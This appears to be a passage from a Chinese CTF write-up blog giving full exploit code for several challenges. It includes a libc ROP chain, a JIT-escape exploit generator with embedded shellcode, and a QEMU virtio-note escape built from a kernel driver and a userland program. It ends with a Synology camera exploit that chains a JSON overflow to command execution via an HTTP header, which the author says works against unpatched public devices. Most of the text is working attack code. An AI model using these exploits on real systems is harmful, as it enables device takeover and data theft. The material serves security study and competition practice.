    #p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4-1}".encode())

    libc_gets = libc_base + libc.symbols[b"gets"]
    p.sendline(f"{libc_gets & 0xffffffff}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4}".encode())
    p.sendline(f"{libc_gets >> 32}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4-1}".encode())    

    libc_mprotect = libc_base + libc.symbols[b"mprotect"]
    libc_open = libc_base + libc.symbols[b"open"]
    libc_read = libc_base + libc.symbols[b"read"]
    libc_write = libc_base + libc.symbols[b"write"]
    libc_syscall = libc_base + libc.symbols[b"syscall"]
    pop_rdi_ret = libc_base + 0x10f75b
    pop_rsi_ret = libc_base + 0x2b46b # pop rsi ; pop rbp ; ret
    pop_rdx_ret = libc_base + 0xb502c # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
    pop_rax_ret = libc_base + 0xdd237
    syscall = libc_base + 0x288b5
    
    payload = b"a"*0xc8 + p64(canary_leak)
    payload = payload.ljust(0xe8, b"a") + p64(canary_leak)
    payload = payload.ljust(0x128, b"a")
    payload += p64(pop_rdi_ret) + p64(elf_base)
    payload += p64(pop_rsi_ret) + p64(0x3000) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(7) + p64(0xdeadbeef)*4
    payload += p64(libc_mprotect)
    payload += p64(pop_rdi_ret) + p64(0)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_read)
    payload += p64(pop_rdi_ret) + p64(2)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0) + p64(0xdeadbeef)*4
    payload += p64(libc_syscall)
    payload += p64(pop_rdi_ret) + p64(3)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_read)
    payload += p64(pop_rdi_ret) + p64(1)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_write)
    
    payload += p64(0xdeadbeef)
    pause()
    p.sendline(payload)

    p.send(b"flag\x00")
    p.recvuntil(b"flag{")
    flag = p.recvuntil(b"}").decode()
    log.info(f"flag: flag{{{flag}")

    p.interactive()
    
if __name__ == "__main__":
    exp()
偷偷吐槽一下垃圾到令人反胃的国内“安全”竞赛环境,距离上次 DEF CON 结束挺久了,好不容易抽出时间打一场比赛还得被恶心

kowaiiVM

漏洞点

2024-03-06T10:20:44.png

2024-03-06T10:21:17.png

无论是 VM 实现还是 JIT 实现中的 push / pop 都没有检查单个函数中的栈平衡,VM 层只检查了上下界,很明显通过 caller 提前压栈就可以避免越界

利用

在原始 VM 层和 JIT 层都可以通过不平衡的 push pop 劫持返回地址,但是需要绕过 JIT code 生成过程中的栈平衡检查。还有要思考的点就是如何让 VM 层和 JIT 层实现同样劫持到某个偏移上时,效果不同,但是又合理合法,并且能够让 JIT code escape一段空间,使得指令 imm 部分的 JOP shellcode 能够链接上。

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

'''
typedef struct __attribute__((__packed__)) kowaiiFuncEntry
{
    u16 hash;
    u64 addr;
    u8 size;
    u8 callCount;
} kowaiiFuncEntry;

typedef struct __attribute__((__packed__)) kowaiiBin
{
    u8 kowaii[6];
    u16 entry;
    u32 magic;
    u16 bss;
    u8 no_funcs;
    kowaiiFuncEntry funct[];
} kowaiiBin;

typedef struct __attribute__((__packed__)) kowaiiRegisters
{
    u64 x[MAX_REGS];
    u8 *pc;
    u64 *sp; 
    u64 *bp;
} kowaiiRegisters;
'''

'''
/* Opcodes */
#define ADD               0xb0
#define SUB               0xb1
#define MUL               0xb2
#define SHR               0xb3
#define SHL               0xb4
#define PUSH              0xb5
#define POP               0xb6
#define GET               0xb7
#define SET               0xb8
#define MOV               0xb9
#define CALL              0xba
#define RET               0xbb
#define NOP               0xbc
#define HLT               0xbf
'''

def gen_func_entry(hash, addr, size, callCount):
    return p16(hash) + p64(addr) + p8(size) + p8(callCount)

def pack_kowaii_bin(entry, bss, no_funcs, entry_list, code_data):
    buf = b"KOWAII" + p16(entry) + p32(0xdeadc0de) + p16(bss) + p8(no_funcs)
    for func_entry in entry_list:
        buf += func_entry
    buf = buf.ljust(0x1000, b"\x00")
    buf += code_data
    return buf

############################## Hack Function ##############################
hack_func_code = b""
# control balanceStack vector when JITgen and make it don't crash the key heap metadata...
for _ in range(0xf):
    hack_func_code += p8(0xb5) + p8(0)                  # push reg[0]
for _ in range(0xf):
    hack_func_code += p8(0xb6) + p8(0)                  # pop reg[0]
hack_func_code += p8(0xb6) + p8(0)                      # pop reg[0]
for _ in range(8):
    hack_func_code += p8(0xb6) + p8(2)                  # pop reg[2]
hack_func_code += p8(0xb9) + p8(1) + p32(3)             # mov reg[1], 3 # modify retaddr to retaddr+3
hack_func_code += p8(0xb0) + p8(0) + p8(0) + p8(1)      # reg[0] = reg[0] + reg[1]
hack_func_code += p8(0xb5) + p8(0)                      # push reg[0]
hack_func_code += p8(0xbb)                              # ret
hack_func_hash = 0x1111
hack_func_entry = gen_func_entry(hack_func_hash, 0x4000, len(hack_func_code), 0)
##########################################################################


############################## JIT Function ##############################
jit_func_code = b""
# prepare enough space for hack_func() to hack balanceStack vector
for _ in range(8):
    jit_func_code += p8(0xb5) + p8(0)                                       # push reg[0]
jit_func_code += p8(0xba) + p16(hack_func_hash)                             # call hack_func
# this will ret in a shifted position
tmp = p8(0xff) + p8(0xb9) + p8(0) + b"\xaa" + p8(0xbc) + p8(0xbc)+ p8(0xbc) # 0xff, mov reg[0], value32(value16(b"\xaa\xbb")+value8(nop)+value8(nop)+value8(nop))
jit_func_code += p8(0xb9) + p8(0) + tmp                                     # mov reg[0], value32(tmp[:4]); nop; nop; nop

# JOP shellcode
jit_func_code += p8(0xb9) + p8(0) + asm("push r8;")+b"\xeb\x02"             # set rbx to 0
jit_func_code += p8(0xb9) + p8(0) + asm("pop rbx; nop;")+b"\xeb\x02"
## open
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdi;")+b"\xeb\x02"   # clear rdi
jit_func_code += p8(0xb9) + p8(0) + asm("push rdx; pop rdi;")+b"\xeb\x02"   # load &"flag.txt" into rdi
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rsi;")+b"\xeb\x02"   # clear rsi
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdx;")+b"\xeb\x02"   # clear rdx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x2;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # open("flag.txt", 0)
## read
jit_func_code += p8(0xb9) + p8(0) + asm("push rdi; pop rsi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rax; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x0;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # read(rax, bss, 0xff)
## write
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0x1;")+b"\xeb\x02"         # stdout
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x1;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # write(1, bss, 0xff)
jit_func_code += p8(0xb9) + p8(0) + b"\x90\x90\xeb\x02"
jit_func_code += p8(0xbb) # ret
jit_func_hash = 0x2222
jit_func_entry = gen_func_entry(jit_func_hash, 0x3000, len(jit_func_code), 0xa-1)
########################################################################


############################ Dummy Function ############################
dummy_func_code = b""
for _ in range(0xa):
    dummy_func_code += p8(0xba) + p16(jit_func_hash)                # call jit_func
dummy_func_code += p8(0xba) + p16(jit_func_hash)                    # call jit_func
dummy_func_code += p8(0xbb) # ret
dummy_func_hash = 0x3333
dummy_func_entry = gen_func_entry(dummy_func_hash, 0x2000, len(dummy_func_code), 0)
########################################################################


############################ Entry Code ################################
entry_code = b""
# store "flag.txt" string into bss
entry_code += p8(0xb9) + p8(1) + b"flag"                # mov reg[1], u32("flag")
entry_code += p8(0xb8) + p8(1) + p32(0)
entry_code += p8(0xb9) + p8(1) + b".txt"                # mov reg[1], u32(".txt")
entry_code += p8(0xb8) + p8(1) + p32(0x4)
entry_code += p8(0xb9) + p8(1) + b"\x00\x00\x00\x00"    # mov reg[1], u32("\x00\x00\x00\x00")
entry_code += p8(0xb8) + p8(1) + p32(0x8)
entry_code += p8(0xba) + p16(dummy_func_hash)           # call dummy_func_code
entry_code += p8(0xbf) # hlt
########################################################################


############################ Pack Bin Data #############################
code_data = entry_code.ljust(0x1000, b"\x00")           # 0x1000
code_data += dummy_func_code.ljust(0x1000, b"\x00")     # 0x2000
code_data += jit_func_code.ljust(0x1000, b"\x00")       # 0x3000
code_data += hack_func_code.ljust(0x1000, b"\x00")      # 0x4000

exec_entry = 0x1000
bss_start = 0xc000
func_entry_list =[jit_func_entry, hack_func_entry, dummy_func_entry]
bin_data = pack_kowaii_bin(exec_entry, bss_start, len(func_entry_list), func_entry_list, code_data)
########################################################################

with open("exp.bin", "wb") as f:
    f.write(bin_data)

virtio-note

漏洞

2024-03-06T10:24:33.png

处理 virtio 请求的时候允许下标越界,请求的结构体定义如下

2024-03-06T10:25:18.png

往环形队列里写这个请求结构的数据就可以正常交互

利用

需要同时编写一个内核驱动和用户态程序来完成整个交互,漏洞就是基本的下标越界,越界范围在堆上,可以读写任意下标偏移处的指针——前提是这里刚好存在一个合法的指针。难点主要在于找到稳定的 leak 对象,以及构造任意地址写原语。任意地址写可以通过修改一个引用了同样位于下标可覆盖区域的字符串的字符串指针,将该指针表示的字符串覆盖为一个地址值,这样在某个下标就会多出一个攻击者指定的指针。有了任意地址读写,接下来可以使用 QEMU 用于 JIT 的一个巨大 RWX 段布置 shellcode 实现 open-read-write(这似乎是 QEMU 8.x 一个新特性,属于非预期思路)。

![Image description](https://bbs.xdsec.org/assets/files/2024-03-04/1709578206-611382-2956926b0caf5d7fd8d73507e0b3dda.png)

驱动

KERNELDIR := /home/eqqie/CTF/bi0sCTF2024/virtio-note/linux

obj-m := exp.o

all:
        make -C $(KERNELDIR) M=$(PWD) modules

clean:
        make -C $(KERNELDIR) M=$(PWD) clean
#include <linux/virtio.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/pci.h>
#include <linux/interrupt.h>
#include <linux/io.h>               /* io map */
#include <linux/dma-mapping.h>      /* DMA */
#include <linux/kernel.h>           /* kstrtoint() func */
#include <linux/virtio_config.h>    /* find_single_vq() func */

MODULE_LICENSE("GPL v2");

#define VIRTIO_ID_NOTE 42
/* big enough to contain a string representing an integer */
#define MAX_DATA_SIZE 20

typedef enum {
    OP_READ,
    OP_WRITE
} operation;

typedef unsigned long hwaddr;

typedef struct req_t {
    unsigned int idx;
    hwaddr addr;
    operation op;
} req_t;

struct virtio_note_info {
        struct virtqueue *vq;
    /*
     * in - the data we get from the device
     * out - the data we send to the device
     */
    req_t in, out;
};


//-----------------------------------------------------------------------------
//                  sysfs - give user access to driver
//-----------------------------------------------------------------------------

static ssize_t
virtio_buf_store(struct device *dev, struct device_attribute *attr,
        const char *buf, size_t count)
{
    printk(KERN_INFO "virtio_buf_store\n");
    //char tmp_buf[MAX_DATA_SIZE];
    //int retval;
    struct scatterlist sg_in, sg_out;
    struct scatterlist *request[2];
    /* cast dev into a virtio_device */
    struct virtio_device *vdev = dev_to_virtio(dev);
    struct virtio_note_info *vi = vdev->priv;

    /* copy the user buffer since it is a const buffer */
    size_t copy_size = count > sizeof(req_t) ? sizeof(req_t) : count;
    memcpy(&vi->out, buf, copy_size);
    // log vi->out
    printk(KERN_INFO "vi->out.idx: %#x\n", vi->out.idx);
    printk(KERN_INFO "vi->out.addr: %#lx\n", vi->out.addr);
    printk(KERN_INFO "vi->out.op: %#x\n", vi->out.op);
    
    /* initialize a single entry sg lists, one for input and one for output */
    sg_init_one(&sg_out, &vi->out, sizeof(req_t));
    sg_init_one(&sg_in, &vi->in, sizeof(req_t));

    /* build the request */
    request[0] = &sg_out;
    request[1] = &sg_in;

    /* add the request to the queue, in_buf is sent as the buffer idetifier */
    virtqueue_add_sgs(vi->vq, request, 1, 1, &vi->in, GFP_KERNEL);

    /* notify the device */
    virtqueue_kick(vi->vq);

    return count;
}

static ssize_t
virtio_buf_show(struct device *dev, struct device_attribute *attr, char *buf)
{
    printk(KERN_INFO "virtio_buf_show\n");
    /* cast dev into a virtio_device */
    struct virtio_device *vdev = dev_to_virtio(dev);
    struct virtio_note_info *vi = vdev->priv;

    printk(KERN_INFO "vi->in.idx: %#x\n", vi->in.idx);
    printk(KERN_INFO "vi->in.addr: %#lx\n", vi->in.addr);
    printk(KERN_INFO "vi->in.op: %#x\n", vi->in.op);

    return 0;
}

/*
 * struct device_attribute dev_attr_virtio_buf = {
 *     .attr = {
 *         .name = "virtio_buf",
 *         .mode = 0644
 *     },
 *     .show = virtio_buf_show,
 *     .store = virtio_buf_store
 * }
 */
static DEVICE_ATTR_RW(virtio_buf);


/*
 * The note_attr defined above is then grouped in the struct attribute group
 * as follows:
 */
struct attribute *note_attrs[] = {
    &dev_attr_virtio_buf.attr,
    NULL,
};

static const struct attribute_group note_attr_group = {
    .name = "note", /* directory's name */
    .attrs = note_attrs,
};



//-----------------------------------------------------------------------------
//                              IRQ functions
//-----------------------------------------------------------------------------

static void note_irq_handler(struct virtqueue *vq)
{
    printk(KERN_INFO "IRQ handler\n");

    struct virtio_note_info *vi = vq->vdev->priv;
    unsigned int len;
    void *res = NULL;

    /* get the buffer from virtqueue */
    res = virtqueue_get_buf(vi->vq, &len);

    memcpy(&vi->in, res, len);
}


//-----------------------------------------------------------------------------
//                             driver functions
//-----------------------------------------------------------------------------


static int note_probe(struct virtio_device *vdev)
{
    printk(KERN_INFO "probe\n");
    int retval;
    struct virtio_note_info *vi = NULL;

    /* create sysfiles for UI */
    retval = sysfs_create_group(&vdev->dev.kobj, &note_attr_group);
    if (retval) {
        pr_alert("failed to create group in /sys/bus/virtio/devices/.../\n");
    }

    /* initialize driver data */
        vi = kzalloc(sizeof(struct virtio_note_info), GFP_KERNEL);
        if (!vi)
                return -ENOMEM;

        /* We expect a single virtqueue. */
        vi->vq = virtio_find_single_vq(vdev, note_irq_handler, "input");
        if (IS_ERR(vi->vq)) {
        pr_alert("failed to connect to the device virtqueue\n");
        }

    /* initialize the data to 0 */
    memset(&vi->in, 0, sizeof(req_t));
    memset(&vi->out, 0, sizeof(req_t));

    /* store driver data inside the device to be accessed for all functions */
    vdev->priv = vi;

    return 0;
}

static void note_remove(struct virtio_device *vdev)
{
        struct virtio_note_info *vi = vdev->priv;

    /* remove the directory from sysfs */
    sysfs_remove_group(&vdev->dev.kobj, &note_attr_group);

    /* disable interrupts for vqs */
    vdev->config->reset(vdev);

    /* remove virtqueues */
        vdev->config->del_vqs(vdev);

    /* free memory */
        kfree(vi);
}

/*
 * vendor and device (+ subdevice and subvendor)
 * identifies a device we support
 */
static struct virtio_device_id note_ids[] = {
    {
        .device = VIRTIO_ID_NOTE,
        .vendor = VIRTIO_DEV_ANY_ID,
    },
    { 0, },
};

/*
 * id_table describe the device this driver support
 * probe is called when a device we support exist and
 * when we are chosen to drive it.
 * remove is called when the driver is unloaded or
 * when the device disappears
 */
static struct virtio_driver note = {
        .driver.name =        "virtio_note",
        .driver.owner =        THIS_MODULE,
        .id_table =        note_ids,
        .probe =        note_probe,
        .remove =        note_remove,
};

//-----------------------------------------------------------------------------
//                          overhead - must have
//-----------------------------------------------------------------------------

/* register driver in kernel pci framework */
module_virtio_driver(note);
MODULE_DEVICE_TABLE(virtio, note_ids);

用户态

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <time.h>

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

#define SYSFS_PATH "/sys/bus/virtio/devices/virtio0/note/virtio_buf"

// max 0x40 bytes in a single write
char shellcode[] = {0x6a, 0x01, 0xfe, 0x0c, 0x24, 0x48, 0xb8, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x02, 0x58, 0x0f, 0x05, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb2, 0xff, 0x48, 0x89, 0xee, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0xb2, 0xff, 0x48, 0x89, 0xee, 0x6a, 0x01, 0x58, 0x0f, 0x05 };


typedef unsigned long hwaddr;

typedef enum {
    READ,
    WRITE
} operation;

typedef struct req_t {
    unsigned int idx;
    hwaddr addr;
    operation op;
} req_t;

int fd;
int sysfs_fd;

uint32_t page_offset(uint32_t addr) {
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr) {
    uint64_t pme, gfn;
    size_t offset;

    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;

    return gfn;
}

uint64_t gva_to_gpa(void *addr) {
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void virtio_write(unsigned int idx, hwaddr addr) {
    req_t write_buffer = {
        .idx = idx,
        .addr = addr,
        .op = WRITE,
    };
    write(sysfs_fd, (void *)&write_buffer, sizeof(req_t));
    usleep(300000);
}

void virtio_read(unsigned int idx, hwaddr addr) {
    req_t read_buffer = {
        .idx = idx,
        .addr = addr,
        .op = READ,
    };
    write(sysfs_fd, (void *)&read_buffer, sizeof(req_t));
    usleep(300000);
}

int main(int argc, char *argv[]) {
    int r;
    void *userbuf;
    uint64_t phy_userbuf;

    fd = open("/proc/self/pagemap", O_RDONLY);
    if (!fd) {
        perror("open pagemap");
        return -1;
    }

    sysfs_fd = open(SYSFS_PATH, 'r');

    /* allocate a user buffer */
    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED) {
        perror("mmap userbuf");
        return -1;
    }
    mlock(userbuf, 0x1000);
    phy_userbuf = gva_to_gpa(userbuf);
    printf("userbuf: 0x%lx\n", (uint64_t) userbuf);
    printf("phy_userbuf: 0x%lx\n", phy_userbuf);

    char buffer[] = "THIS_IS_A_TEST\x00";
    memcpy(userbuf, buffer, strlen(buffer));

    // test
    virtio_write(0, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(0, phy_userbuf);
    printf("userbuf = %s\n", userbuf);

    // leak elf_base
    uint64_t tmp_ptr = 0;
    memset(userbuf, 0, 0x1000);
    virtio_read(19, phy_userbuf);
    tmp_ptr = *(((unsigned long long *)userbuf)+4);
    printf("[*] leak tmp ptr: 0x%lx\n", tmp_ptr);
    uint64_t elf_base = tmp_ptr - 0x86c800;
    printf("[*] elf base: 0x%lx\n", elf_base);

    // leak obj_base
    tmp_ptr = 0;
    memset(userbuf, 0, 0x1000);
    virtio_read(56, phy_userbuf);
    tmp_ptr = *(((unsigned long long *)userbuf)+4);
    printf("[*] leak tmp ptr: 0x%lx\n", tmp_ptr);
    uint64_t obj_base = tmp_ptr - 0;
    printf("[*] obj base: 0x%lx\n", obj_base);
    uint64_t note_list = obj_base + 0x210;
    printf("[*] note list: 0x%lx\n", note_list);

    uint64_t ptr_l2_idx = 19;
    uint64_t ptr_l1_idx = 30;

    // test leak obj
    uint64_t leak_test_ptr1 = obj_base+0x78;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = leak_test_ptr1;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    uint64_t test_data1 = *(((unsigned long long *)userbuf)+0);
    printf("[*] test leak data1: 0x%lx\n", test_data1);
    // test leak elf
    uint64_t leak_test_ptr2 = elf_base;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = leak_test_ptr2;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    uint64_t test_data2 = *(((unsigned long long *)userbuf)+0);
    printf("[*] test leak data2: 0x%lx\n", test_data2);


    // write shellcode
    //uint64_t shellcode_addr = elf_base - 0x48236000;
    uint64_t shellcode_addr = elf_base - 0x20000000;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = shellcode_addr;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0x90, 0x1000);
    memcpy(userbuf, shellcode, sizeof(shellcode)); // load shellcode
    virtio_write(ptr_l1_idx, phy_userbuf);
    printf("[*] write shellcode to: %#lx\n", shellcode_addr);

    // try hijack vnq->virtio_note_handle_req
    /* get vnq ptr */
    uint64_t vnq_ptr_pos = obj_base+520;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = vnq_ptr_pos;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    uint64_t vnq_ptr = *(((unsigned long long *)userbuf)+0);
    printf("[*] vnq ptr: 0x%lx\n", vnq_ptr);
    /* modify virtio_note_handle_req */    
    uint64_t callback_pos = vnq_ptr+0x58;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = callback_pos;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = shellcode_addr;
    virtio_write(ptr_l1_idx, phy_userbuf);
    printf("[*] hijack callback in: 0x%lx\n", callback_pos);    

    // trigger
    memset(userbuf, 0, 0x1000);
    virtio_read(30, phy_userbuf);


    close(sysfs_fd);

    return 0;
}

设备情况

这是一台网络摄像头,题目只开放了管理登录界面,应该是来自于前几个月 Pwn2Own 上的破解。

image-20240205161734787

折腾一天混了个三血

5cc76de70f83041d48c03a0381c5e33

利用思路

  1. 未授权接口+JSON 解析溢出,其中 buf1 和 buf2 可以控制

img

  1. 虽然可以溢出,但是难以劫持返回地址,因为栈上存在 key 和 json 两个对象在溢出被覆盖后需要传递给其他函数使用,并且最后会被析构,所以绕过和伪造比较困难。第二个难点是 json 通过 \uXXXX 嵌入不可见字符时会被 UTF8 编码导致 payload 破坏,并且默认 flags 下不支持传入 \u0000,很多地址无法使用(这一点需要通过逆向发现具体限制,不展开)。
  2. 观察发现栈上缓存的 lex_t 结构体在满足一定条件后可以劫持 lex_t->stream_t->get 这一函数指针

img

  1. 满足一些栈上变量的限制条件后,将这个指针劫持到SynoPopen函数中 popen 调用点附近的 gadget 上,实现有 8 字节可控的任意命令执行。之所以要找 popen 调用点是因为 CGI 体所在的地址空间刚好可以通过 \uXXXX 传入且不会被破坏。

img

  1. 由于请求者自定义的请求头也会被传递给 CGI,所以可以使用$ENV_NAME 的方式可以执行请求头中放置的命令,然后把 flag 写到 /www/index.html 直接读出来

img

  1. 地址随机化程度很低,exp 成功概率约为 1/5
from pwn import *
import os

context.log_level = "debug"

ip = "47.88.48.133"
port = 33803
p = remote(ip, port)
#p = remote("127.0.0.1", 8080)

def poc(cmd):
    payload =b"A"*(0xa4-8)+cmd.ljust(8, b";")+b"\u005c\u004d\u0041" + b" " + b"A"*(0x3c-32)+b"BBBB"+b",MA"
    value = b'""'
    json_data = b'{"' + payload + b'": ' + value + b'}'
    _data = json_data
    buf = b""
    buf += b"PUT /syno-api/session HTTP/1.1\r\n"
    buf += b"Accept: */*\r\n"
    buf += b"A: cp /flag /www/index.html\r\n"
    buf += b"Content-Type: application/json\r\n"
    buf += b"Content-Length: " + str(len(_data)).encode() + b"\r\n"
    buf += b"\r\n"
    buf += _data
    return buf

def exp():
    p.send(poc(b"$HTTP_A;"))
    print("Try to read flag...")
    os.system(f"curl http://{ip}:{port}/index.html")
    #p.interactive()

if __name__ == "__main__":
    exp()
  1. 目前该 EXP 可以直接攻击公网中未升级的设备,请勿用于非法用途

调试方法

  1. 如何获取设备终端?

    • 虽然模拟固件时可以得到一个 shell,但是由于模拟的问题终端会被报错信息填满,可以使用 telnetd -p 23 -l /bin/sh 开启 telnet 服务,然后在脚本上加一个 hostfw 参数映射 telnet 到主机上进行操作。
  2. 如何调试 CGI?

    • 方法1:提取 CGI 二进制文件,使用 qemu-user 进行模拟,只需要通过环境变量传递 HTTP 请求头和其它请求参数,通过 stdin 传递 POST 内容。缺点是地址空间与真实设备不符,对利用方式有影响,适合快速确定漏洞 PoC 以及进行一些 Fuzz 操作。

      from pwn import *
      import json
      import urllib
      
      context.log_level = "debug"
      
      payload = b"A"*53
      json_data = b'{"' + payload + b'": ""}'
      content_length = len(json_data)
      # elf base: 0x40000000
      # json lib: 0x3f78c000
      
      p = process(["./rootfs/qemu-arm-static", "-g", "1235", "--singlestep", "-L", "./rootfs/", "./rootfs/www/camera-cgi/synocam_param.cgi"], 
                  env={
                      "GATEWAY_INTERFACE": "CGI/1.1",
                      "CONTENT_TYPE": "application/json",
                      "ACTION_PREPARE": "yes",
                      "LOCAL_URI": "/syno-api/session",
                      "REMOTE_ADDR": "10.0.2.2",
                      "SHLVL": "1",
                      "DOCUMENT_ROOT": "/www",
                      "REMOTE_PORT": "34052",
                      "RESPONSE_TO": "SOCKET",
                      "HTTP_ACCEPT": "*/*",
                      "CONTENT_LENGTH": str(content_length),
                      "SCRIPT_FILENAME": "/www/camera-cgi/synocam_param.cgi",
                      "PATH_TRANSLATED": "/www",
                      "REQUEST_URI": "/syno-api/session",
                      "SERVER_SOFTWARE": "CivetWeb/1.15",
                      "LOCAL_URI_RAW": "/syno-api/session",
                      "PATH": "/sbin:/usr/sbin:/bin:/usr/bin",
                      "SERVER_PROTOCOL": "HTTP/1.1",
                      "HTTP_CONTENT_TYPE": "application/json",
                      "REDIRECT_STATUS": "200",
                      "REQUEST_METHOD": "PUT",
                      "PWD": "/www/camera-cgi",
                      "SERVER_ROOT": "/www",
                      "HTTPS": "off",
                      "SERVER_PORT": "80",
                      "SCRIPT_NAME": "/syno-api/session",
                      "ACTION_QUERY": "yes",
                      "SERVER_NAME": "IPCam",
                      "HTTP_CONTENT_LENGTH": str(content_length)
                  }
                  )
      p.send(json_data)
      p.shutdown('send')
      p.interactive()
    • 方法2:使用 qemu-system 的 -s 参数进行调试,在已知 CGI 地址空间时可以直接给漏洞点下断,等待触发断点,好处是和真实利用时的情况接近,缺点是操作比较麻烦,有时候会出现地址冲突问题。
  3. 如何获取 CGI 地址空间?

    • 为了下断点和知道地址劫持的目标,获取 CGI 运行时地址空间很重要,但是 CGI 只在每次请求时单独被调用,每次运行地址都在变。所以首先得关闭设备 ASLR,然后通过 patch CGI 入口使其进入循环,这时候就可以通过 proc 文件系统读出地址空间如下。

      • patch 方式:printf "\xFE\xFF\xFF\xEA" | dd of=synocam_param.cgi bs=1 seek=$((0x7BF1C)) count=4 conv=notrunc
      • 地址空间:

        00400000-004a7000 r-xp 00000000 00:02 1764       /www/camera-cgi/synocam_param_1.cgi
        004b7000-004b8000 r--p 000a7000 00:02 1764       /www/camera-cgi/synocam_param_1.cgi
